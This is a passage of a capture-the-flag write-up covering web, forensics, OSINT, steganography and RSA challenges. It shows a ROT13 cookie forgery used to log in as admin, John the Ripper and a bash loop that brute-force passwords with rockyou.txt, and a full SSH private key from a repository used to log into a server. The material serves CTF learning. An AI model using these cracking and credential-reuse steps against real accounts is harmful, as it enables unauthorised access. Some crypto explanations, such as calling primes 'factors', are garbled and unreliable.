**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
